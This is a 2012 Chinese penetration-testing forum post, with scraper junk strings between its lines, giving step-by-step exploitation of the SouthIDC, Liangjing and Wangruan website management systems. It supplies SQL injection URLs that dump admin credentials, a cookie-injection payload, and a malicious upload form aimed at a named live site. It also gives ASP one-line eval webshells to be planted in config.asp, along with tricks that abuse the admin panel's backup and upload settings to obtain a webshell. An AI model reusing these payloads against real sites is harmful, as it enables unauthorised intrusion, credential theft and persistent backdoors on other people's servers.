中国网络渗透测试联盟
标题:
南方数据网站管理系统注入漏洞&后台拿WebShell
[打印本页]
作者:
admin
时间:
2012-12-4 11:06
标题:
南方数据网站管理系统注入漏洞&后台拿WebShell
/Databases/0791idc.mdb
5 e/ l. x5 s% _- g' g2 W. e
1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
- ^2 ?- |& {6 m: @
也可能是(另外一个版本)news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
) F4 {8 N9 t& C2 m" n& A
直接暴管理员帐号密码(md5)
) W0 E ?& n( \ E" a
2.登陆后台
, M) J$ ]1 _/ r2 v+ W
3.利用编辑器上传:
( M6 j- [" |+ F5 E( q
访问admin/southidceditor/admin_style.asp
. J4 H. {: _$ t0 R2 R9 H3 F
修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.
& X' C. b c( j$ Y; |! x. a
& N1 t1 [8 X6 L- b ^! d, `+ W
========================================
( v7 l4 C1 z3 w4 Y+ \
( c7 p" z, E" }
参考资料整理:
! O m* }' l' {9 E
南方数据、良精系统、网软天下漏洞利用
/ w$ c( }: B( h3 H' [" F8 | C
5 K% U& k+ v+ o0 t
1、通过upfile_other.asp漏洞文件直接取SHELL
+ X$ j* ]. W. i
直接打开userreg.asp进行注册会员,进行登录,(在未退出登录的状态下)使用本地上传文件进行上传代码如下:
. u# @7 C. ]+ k6 M0 B& Q, d$ ]
<HTML><HEAD>
; u. w# F5 b; F; s
<META http-equiv=Content-Type content="text/html; charset=gb2312">
% @& ^* X* H+ X! o
<STYLE type=text/css>BODY {
, ^/ p$ c+ a4 G0 T
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee
# N7 Q! L: g: H- i' M
}
1 \3 n9 n7 o3 y
.tx1 {
9 k( k. Y* m$ R( ~3 U+ N* X
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px
& i) Y G+ W0 g1 A1 E5 ~7 k
}
; ^- ^0 s' D, m1 P, _- z
</STYLE>
) M3 Y& T _; K2 k0 X
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
' b d% s2 D9 ^& I; c) R/ _5 g
<BODY leftMargin=0 topMargin=0>
( ?8 Y# }% `2 Z
<FORM name=form1 action="http://www.huobaodidai.cn/upfile_Other.asp"; method=post
; I, N+ J- J- d' y$ E
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT xxxxx="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>
: Y2 D$ ~/ v% n1 R% h0 b6 S" d
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>
. a6 g& E6 T3 Y+ f& g* a: a s8 {
4 |: ^! B6 c4 G4 p( n
将以上代码保存为html格式,替换代码中的网址,第一个框里选择图片文件,第二个框选择.cer、.asa或asp文件上传(后面需要加一个空格,貌似在IE8中进行使用不能后面加空格,加空格时就弹出选择文件对话框,我是找不到解决办法)。
- W5 a; E1 {# J: [# C
注:此方法通杀南方数据、良精系统、网软天下等
7 g& a: E3 i7 N% X1 |
! s4 n" p3 u" \
2、通过注入秒杀管理员帐号密码,使用如下:
1 K7 D# _, o. u3 _8 V
http://www.huobaodidai.cn/NewsType.asp?SmallClass=
’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20’’=’
4 }3 t$ s B) b: B2 ^
以上代码直接暴管理员帐号和密码,取SHELL方法如下:
- m. c) j$ V- E" f0 O; f
在网站配置[
http://www.target.com/admin/SiteConfig.asp
]的版权信息里写入 "%><%eval(request(chr(35)))%><%’
8 u! x% |: w3 ?' ?) q, \
成功把shell写入
http://www.target.com/inc/config.asp
?: b3 |6 Y& J4 D6 {; Q0 s, r+ ]
这里一句话chr(32)密码是“#”
& [" x5 ~6 R& d9 t/ {9 e4 f" C
3、cookie注入
$ R0 q' \- c: G8 o
清空地址栏,利用union语句来注入,提交:
# C5 v8 p# b4 t3 h& o3 V8 j. A
javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin"))
) `$ ]* C1 V& `+ Q* g1 S
如果你牛你就手工,反正我是不会,用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为?
& r1 j& T8 z3 d. n, ]1 b9 @
注:貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。
5 W: `+ x4 K8 Q( L. t) ~+ U* m
(当然南方不只有上面三个漏洞,还有几个漏洞貌似不常用,反正我给我常用的总结出来希望对大家有帮助)
- j; h! t: s) o: |5 j$ V3 ~
8 G- c- d' ?2 G# F, o/ `, w
三、后台取SHELL方法总结
: w7 U7 e0 {- f) h+ u: [, K% q
(1)在系统管理中的网站配置中插入一句话马:进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入"%><%Eval(Request(chr(112)))%><%’,再点保存配置,如图:
8 G8 J* u1 n4 T) c* {% z/ b
然后我们打开inc/config.asp文件,看到一句话马已写入到配置文件中了,
3 C& x* P5 R0 C3 K, M2 R1 n
这时再打开一句话马的客户端,提交同样得到一个小马
6 ~% O$ Q. v; @0 X
(注:以下均在其它网站上测试所截的图,为防止信息泄漏,未截留网站连接,请谅解!)
6 U$ ]- \. a" f8 e! d4 D3 o2 D
(2)后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下:
0 o5 o" R: O, I/ n- T h
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
4 \7 _, Y! d" y/ x' t) h* `( o" B' A
EnableUpload=false
; l. ^' r3 x7 `. Y2 E r
; }* x: z; r6 ` m; ?: k
end if
! l% c1 x/ J* N% p4 x7 L7 R
if EnableUpload=false then
: B7 G" D7 G. L/ i
msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
1 v" Q# C% m p$ }3 a- x' s
FoundErr=true
2 Y$ g$ W7 ~, c8 ^# |$ w
end if
5 \4 t2 K8 N: g6 J
大家可以看到程序只限制了对"asp","asa","aspx"类的文件上传,我们只要在”网站配置”的允许的上传文件类型处增加上传“cer“等被服务器可解析的文件类型就可,如图:
# \# d. j* s. P+ z
提交时却显示下载页面 ,上传其它如”htr,cdx”等后缀文件时,提交时服务器却不请求(只能说运气不好吧)
% A% F0 k; W& Q# e% V
(3)后台备份,直接在”产品管理”下的添加产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库路径”栏填入上传的路径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动添加上.asa的
0 ]- C# i2 u4 O: P+ e" }
" g( W0 w" S% P- m" c! s
点”确定”后提示”备份数据库成功….”不过实际文件是没有.asa的
; _. Z5 x. V6 [9 y
直接访问备份后的地址,就得到一个webshell
" i2 n$ B* D' K7 y9 a2 H
(以上虽用网软做的后台演示,但南方和良精后台取shell都是大同小异的)
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2